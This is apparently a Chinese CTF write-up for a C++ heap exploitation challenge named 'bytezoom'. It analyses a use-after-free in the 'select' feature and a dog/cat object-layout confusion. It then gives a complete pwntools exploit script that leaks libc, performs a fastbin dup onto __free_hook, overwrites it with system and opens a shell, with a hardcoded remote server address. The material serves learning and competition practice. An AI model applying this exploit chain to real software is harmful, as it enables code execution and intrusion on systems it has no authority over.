保护显然是全开的。
是一道C++的pwn题,c++的pwn分析起来十分复杂,关于堆中chunk的各种分配、释放也非常的麻烦,因为各种对象,各种结构体都会涉及到chunk的申请释放。
我们一点一点分析
首先是功能1,create
因为分两个部分,分别是cat dog,但是里面的内容是一样的,我们就以dog为例就好。
其中我们要注意的首先是string这个结构体。
它的规则是首先申请一个chunk内容为0x10大小的chunk,也就是chunk大小是0x20.
如果我们的输入放不下,就释放这个chunk,开始翻倍,申请一个内容大小为0x20,chunk大小是0x30的chunk
如果还放不下就继续翻倍。
然后还要注意的是里面大量出现的share_ptr这个东西
他是共享指针,简单点说他的出现就是因为加入我们需要对一个对象搞好多个指针用来用去,很多时候会因为构造与析构不能相匹配,导致出错。共享指针就是用来解决这个问题,他允许很多指针指向一个资源,然后当最后一个指针释放,才会将资源释放。
share_ptr是一个类,里面有一个指针,指向资源,还有一个计数的,就是计数有多少指针指向资源,当这个数为0时,就释放资源。
我们再来重点分析一下进行查找的那个函数。
可以边分析边调试
左图是dog了一下0, 0x40是那个结构体chunk
右图是又dog了一下0,0x40被释放了,然后又申请了一块
他还保证了不会用到同一块chunk。
功能2是show
没啥说的,就是通过share_ptr的gets函数找到对应的共享指针,然后输出。
要重点关注的是功能3manage
三个功能
第一个select
里面还是分两部分,dog跟cat。
我们还是就拿dog举例子。
就是首先通过share_ptr的gets函数找到他,然后把他放在0x1c280这个地方。
但是这个地方就首先出来一个问题了。
当我们select一个对象之后,如果我们再申请一个这样的对象,就会把之前那个释放掉,但是select还是会选中那个释放的,所以就会有一个uaf。
第二个功能是add_age
把select出来的那个对象的age加个数。
第三个功能是change name
把select出来的对象的名字改掉。
除了uaf那个问题之外,还有一个问题。
我们分别创建一个cat跟一个dog,看看他们的类。
这是一个dog
首先是vtable指针,然后是年龄,然后是name的ptr,然后是两个name的长度。
这是一个cat
跟dog不一样了
首先是vtable指针,然后是string的指针,然后是三个长度,跟一个age。
所以我们整个题目的思路就出来了。
首先利用select的uaf,得到一块dog的free的chunk,然后将这个chunk用cat申请到,申请到之后我们可以通过操控dog的age来改变cat的name的addr,从而泄露libc地址
然后再利用这个uaf,造成一个fastbin dup,攻击free_hook就可以了。
总的来说这还是一道比较简单的C++,没有用到常用的劫持vtable的一些思路,只是C++分析这一块对新手不是很友好而已。
exp直接用的大佬的,不写了。
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys
libc = ELF("./libc-2.31.so")
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local:
p = process("./bytezoom")
else:
p = remote("39.105.103.24",30012)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
what_choice="choice:"
ch_add="1"
ch_show="2"
what_size=""
what_c=""
what_idx=""
def add(animal,idx,age,name='a'):
ru(what_choice)
sl(ch_add)
ru("cat or dog?")
sl(animal)
ru("index:")
sl(str(idx))
ru("name:")
sl(name)
ru("age:")
sl(str(age))
def show(animal,idx):
ru(what_choice)
sl(ch_show)
ru("cat or dog?")
sl(animal)
ru(what_idx)
sl(str(idx))
def manage():
ru(what_choice)
sl(str(3))
def select(animal,idx):
ru("choice:")
sl('1')
ru("select cat or dog?") ##select
sl(animal)
ru("index:")
sl(str(idx)) # idx
def ch_age(animal,add_age):
ru("choice:")
sl('2')
ru("select cat or dog?")
sl(animal)
ru("number of years you want to add")
sl(str(add_age))
def ch_name(animal,name):
ru("choice:")
sl('3')
ru("select cat or dog?")
sl(animal)
ru("please input new name:")
sl(name)
def manage_exit():
ru("choice:")
sl('4')
def select2(animal,idx):
manage()
select(animal, idx)
manage_exit()
def add_age(animal,num):
manage()
ch_age(animal, num)
manage_exit()
def edit_name(animal,name):
manage()
ch_name(animal, name)
manage_exit()
add('dog',1,10,'a'*0x410)
add('dog',2,10,'a'*0x90)
add('dog',1,10,'a'*0x80)
add('dog',0,10,'a'*0x20)
select2('dog', 0)
add('dog',0,10,'aaaa')
add('cat',0,0xde,'c'*0x20)
gdb.attach(p)
pause()
add_age('dog',0x1250)
show('dog',3)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x1ebbe0
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
#fastbin dup
add('dog',1,10,'e'*0x10)
select2('dog', 1)
add('dog',1,10,'a'*8)
edit_name('dog', p64(free_hook-0x10))
ru(what_choice)
sl(ch_add)
ru("cat or dog?")
sl('dog')
ru("index:")
sl(str(3))
ru("name:")
sl("/bin/sh".ljust(0x10,'\x00')+p64(sys_addr) )
ru("age:")
sl(str(10))
shell()